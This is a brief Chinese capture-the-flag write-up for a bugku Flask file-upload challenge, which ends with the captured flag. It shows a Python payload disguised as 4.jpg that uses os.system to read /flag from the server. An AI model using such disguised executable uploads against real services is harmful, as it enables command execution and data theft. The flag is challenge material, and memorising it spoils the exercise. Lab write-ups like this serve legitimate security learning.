bugku Flask_FileUpload

进去是上传一个文件，ctrl+u看一下

只允许上传jpg和png文件，提示说上传的文件会一python执行，那就构建一个名为4.jpg的文件，内容为

import os

os.system('cat /flag')

os.system用来执行cmd指令，在cmd输出的内容会直接在控制台输出

flag{6d8855f8728b8b233cd51d3f792fbd53}